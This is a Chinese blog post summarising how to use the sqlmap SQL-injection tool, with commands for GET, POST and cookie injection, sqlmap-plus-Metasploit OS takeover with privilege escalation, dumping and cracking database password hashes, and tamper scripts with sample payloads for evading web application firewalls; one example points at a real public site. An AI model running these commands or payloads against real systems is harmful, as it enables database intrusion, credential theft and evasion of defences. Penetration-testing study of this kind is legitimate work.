zoukankan      html  css  js  c++  java
  • sqlmap 使用总结

    一直在用sqlmap,一直在浅层的使用方面,所以我想深入了解一下sqlmap。

    参考文章:

    Sqlmap使用教程【个人笔记精华整理】         http://www.vuln.cn/1992

    sqlmap用户手册详解【实用版】                     http://www.vuln.cn/2035

    如何使用SQLMap绕过WAF 作者: 懒人网安    https://www.ilrwa.com/guidang/627.html

    使用sqlmap中tamper脚本绕过waf                   http://www.cnblogs.com/studyone/p/5459215.html

    绕过WAF脚本分类整理               http://blog.csdn.net/hxsstar/article/details/22782627

    SqlMap用户手册                                                https://www.secpulse.com/archives/4213.html

    1、  sqlmap有什么用?

    当给sqlmap这么一个url (http://127.0.0.1/sqlmap/mysql/get_int.php?id=1) 的时候,它会:

    1)判断可注入的参数

    2)判断可以用那种SQL注入技术来注入

    3)识别出哪种数据库

    4)根据用户选择,读取哪些数据

    2、  sqlmap五种不同的注入模式

    1)基于布尔的盲注,即可以根据返回页面判断条件真假的注入。

    2)基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。

    3)基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。

    4)联合查询注入,可以使用union的情况下的注入。

    5)堆查询注入,可以同时执行多条语句的执行时的注入。

    3、  最新版的sqlmap在哪里下?

    https://github.com/sqlmapproject/sqlmap

    下载之后用python运行就可以了。

    当然如果你的电脑安装有git命令,就不用每次都重新下载浪费时间,我们可以执行命令进行更新。

    python sqlmap.py --update

    4、  -v参数是干什么用的?

    如果你想观察sqlmap对一个点是进行了怎样的尝试判断以及读取数据的,可以使用-v参数。

    共有七个等级,默认为1:

    0)只显示python错误以及严重的信息。

    1)同时显示基本信息和警告信息。(默认)

    2)同时显示debug信息。

    3)同时显示注入的payload。 有些测试也是需要高等级才启动的,一般是3级或是3级以上,例如,cookie注入,referer注入等

    4)同时显示HTTP请求。

    5)同时显示HTTP响应头。

    6)同时显示HTTP响应页面。

    5、  sqlmap的使用方法

    1. 用level1检测数据库类型

    sqlmap -u http://127.0.0.1/post.php?id=1

    2. 指定数据库为mysql,级别为3(共5级,级别越高,检测越全面

    sqlmap -u "http://127.0.0.1/post.php?id=1"  --dbms mysql --level 3

    3. 当get的数据被过滤时,就要想到cookie注入了

    sqlmap -u "http://www.baidu.com/shownews.asp" --cookie "id=11" --level 2(只有level达到2才会检测cookie)

    这块我觉得有需要的可以了解一下检验是否存在cookie方法。。。因为我就挺想知道的。当然直接命令跑也是可以的,没毛病。

    1)      寻找形如“.asp?id=xx”类的带参数的URL。

    2)      去掉“id=xx”查看页面显示是否正常,如果不正常,说明参数在数据传递中是直接起作用的。

    3)      清空浏览器地址栏,输入“javascript:alert(document.cookie="id="+escape("xx"));”,按Enter键后弹出一个对话框,内容是“id=xx”,然后用原来的URL刷新页面,如果显示正常,说明应用是用Request("id")这种方式获取数据的。

    4)      重复上面的步骤,将常规SQL注入中的判断语句带入上面的URL:“javascript:alert(document.cookie="id="+escape("xx and 1=1"));”

    “javascript:alert(document.cookie="id="+escape("xx and 1=2"));”。

    和常规SQL注入一样,如果分别返回正常和不正常页面,则说明该应用存在注入漏洞,并可以进行cookie注入。

    5)      使用常规注入语句进行注入即可。

    4. 前面走过了,get和cookie,还有一种传参的方法是post。

    --data 此参数是把数据以POST方式提交,sqlmap会像检测GET参数一样检测POST的参数。

    python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1"

    5.上面这种post方法比较快捷,还有一种post方法有助于绕过前端验证。需要用burp或别的抓包工具抓一下,保存到本地加载

    sqlmap -r "存文件的路径" -p "username"
    指定username参数(就是你认为的注入点参数)

    此外还有一种自动获取表单的方法
    sqlmap -u "http://www.target.com/vuln.php" --form

    6.当网站有防火墙,对请求速度做了限制的时候

    sqlmap -u "http://127.0.0.1/post.php?id=1" --delay=10
    --delay=DELAY 在每个HTTP请求之间的延迟时间,单位为秒

    7.设置 HTTP User-Agent头

    参数:--user-agent,--random-agent

    默认情况下sqlmap的HTTP请求头中User-Agent值是:

    sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)

    可以使用--user-anget参数来修改,同时也可以使用--random-agnet参数来随机的从./txt/user-agents.txt中获取。

    当--level参数设定为3或者3以上的时候,会尝试对User-Angent进行注入。

    这里提供几个请求头(如果还需要更多跳转此处):

    PC端

    Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36

    Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0) Gecko/20100101 Firefox/54.0

    手机端

    iPhone:
    Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16

    Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit/602.4.6 (KHTML, like Gecko) Version/10.0 Mobile/14D27 Safari/602.1

    Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X; zh-CN) AppleWebKit/537.51.1 (KHTML, like Gecko) Mobile/14D27 UCBrowser/11.6.1.1003 Mobile  AliApp(TUnionSDK/0.1.20)
    Android:
    Mozilla/5.0 (Linux; U; Android 2.2; en-us; Nexus One Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
    诺基亚N95:
    Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95/30.0.015; Profile MIDP-2.0 Configuration/CLDC-1.1) AppleWebKit/413 (KHTML, like Gecko) Safari/413
    诺基亚N97:
    Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 NokiaN97-1/20.0.019; Profile/MIDP-2.1 Configuration/CLDC-1.1) AppleWebKit/525 (KHTML, like Gecko) BrowserNG/7.1.18124

    8.sqlmap+metasploit 的打法

    sqlmap -u "http://127.0.0.1/show.jsp?id=1" --time-sec 5 --random-agent --os-pwn --msf-path /usr/share/metasploit-framework/ --priv-esc -v 1

    注入成功之后的内容,注入库名,表名,列名等等,就不写了,网上有很多。

    5.1 常用参数介绍

    1、设定延迟注入的时间

    参数:--time-sec

    当使用继续时间的盲注时,时刻使用--time-sec参数设定延时时间,默认是5秒。

    2、获取表中数据个数

    参数:--count

    有时候用户只想获取表中的数据个数而不是具体的内容,那么就可以使用这个参数。

    3、当前用户是否为管理用

    参数:--is-dba
    判断当前的用户是否为管理,是的话会返回True。

    4、列数据库管理用户


    参数:--users

    当前用户有权限读取包含所有用户的表的权限时,就可以列出所有管理用户。

    5、列出并破解数据库用户的hash


    参数:--passwords
    当前用户有权限读取包含用户密码的彪的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。

    6、列出数据库管理员权限


    参数:--privileges
    当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的权限,sqlmap将会告诉你哪个是数据库的超级管理员。也可以用-U参数指定你想看哪个用户的权限。

    7、标志


    参数:-b,--banner
    大多数的数据库系统都有一个函数可以返回数据库的版本号,通常这个函数是version()或者变量@@version这主要取决与是什么数据库。

    8、测试注入类型

    参数:--technique

    这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式。

    支持的探测方式如下:

    B: Boolean-based blind SQL injection(布尔型注入)
    E: Error-based SQL injection(报错型注入)
    U: UNION query SQL injection(可联合查询注入)
    S: Stacked queries SQL injection(可多语句查询注入)
    T: Time-based blind SQL injection(基于时间延迟注入)

    例如: --technique=T

    9、按默认配置

    参数:--batch 

    从不询问用户输入,使用所有默认配置。

    10、添加前后缀

    参数:--prefix,--suffix

    在有些环境中,需要在注入的payload的前面或者后面加一些字符,来保证payload的正常执行。

    例如,代码中是这样调用数据库的:

    $query = "SELECT * FROM users WHERE id=(’" . $_GET[’id’] . "’) LIMIT 0, 1";

    这时你就需要--prefix和--suffix参数了:

    python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "’)" --suffix "AND (’abc’=’abc"

    这样执行的SQL语句变成:

    $query = "SELECT * FROM users WHERE id=(’1’) <PAYLOAD> AND (’abc’=’abc’) LIMIT 0, 1";

    11、检测防火墙

    Sqlmap用来探测WAF的命令如下:

    python sqlmap.py -u “http://www.victim.org/ex.php?id=1” --identify-waf

    貌似必须是或自己修改的类似动态参数才能使用。

    12、设置并发数

    当在测试中遇到数据量比较大的时候,可以通过设置高并发数提高注入速度。

    --threads=THREADS 最大的HTTP(S)请求并发量(默认为1)

    以上是比较基本的注入语句,相对于现在的网站来说,就是片刀砍城墙一样。只需要在网页中加一些过滤,对输入的参数做一些限制,便跑不出来。

    针对于这种类型的网站,我们可以尝试加入脚本试试。

    5.2 使用脚本的方法--tamper

    sqlmap.py -u http://127.0.0.1/test.php?id=1 -v 3 –dbms “MySQL” --technique U -p id --batch --tamper “space2morehash.py”
    
    
    --batch 从不询问用户输入,使用所有默认配置。
    
    --technique=TE SQL注入技术测试(默认BEUST)

    写一些常用脚本,前面的参考文章里面,有更加详细和全面的介绍。

    space2hash.py

    应用于mysql数据库

    绕过过滤‘=’ 替换空格字符(”),(’ – ‘)后跟一个破折号注释,随机字符串和换行符

    * Input: '1 AND 9227=9227'

    * Output: '1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'

    space2morehash.py

    应用于mysql数据库

    空格替换为 #号 以及更多随机字符串和换行符

    * Input: 1 AND 9227=9227

    * Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

    实际上上面两个脚本的是相似的,都是把空格替换成随机字符,只是替换方式有差别

     

    space2mysqlblank.py

    应用于mysql数据库

    空格替换其它空白符号

    * Input: SELECT id FROM users

    * Output: SELECT%0Bid%0BFROM%A0users

    space2mssqlblank.py

    应用于mssql数据库

    空格替换为其它空符号

    * Input: SELECT id FROM users

    * Output: SELECT%08id%02FROM%0Fusers

    charencode.py

    url编码

    * Input: SELECT FIELD FROM%20TABLE

    * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

    chardoubleencode.py

    双url编码(不处理以编码的)

    * Input: SELECT FIELD FROM%20TABLE

    * Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545

    下面两个如果web应用使用asp/asp.net开发

    charunicodeencode.py

    字符串 unicode 编码

    * Input: SELECT FIELD%20FROM TABLE

    * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045

    有意思的是,asp允许在字符之间使用多个%号间隔,比如 AND 1=%%%%%%%%1 是合法的!

    percentage.py

    asp允许每个字符前面添加一个%号

    * Input: SELECT FIELD FROM TABLE

    * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E

    一些其他的常用脚本

    between.py

    用between替换大于号(>)

    * Input: ('1 AND A > B--')

    * Output: '1 AND A NOT BETWEEN 0 AND B--'

    unmagicquotes.py

    宽字符绕过 GPC addslashes

    * Input: 1′ AND 1=1

    * Output: 1%bf%27 AND 1=1–%20

    versionedmorekeywords.py

    通过注释绕过

    * Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#

    * Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#

    总结: 以上列举了一部分有代表性的tamper脚本来帮助我们绕过waf,每个脚本都有自己的使用场景,还是需要灵活使用。

    但是在很多场景中,通过脚本的使用依然绕不过waf,这时候有两条路,一条手工去绕(耗时间),一条换换思路。

  • 相关阅读:
    css 弹出框
    net stop 出现1060错误
    a href=#与 a href=javascript:void(0) 的区别
    ubuntu如何安装Mac主题
    js arguments.callee & caller的用法及区别
    js函数——setinterval和setTimeout
    highcharts简介
    highcharts柱状图和饼图的数据填充
    jqgrid的外观重绘
    laravel定时任务
  • 原文地址:https://www.cnblogs.com/zhaijiahui/p/7059423.html
Copyright © 2011-2022 走看看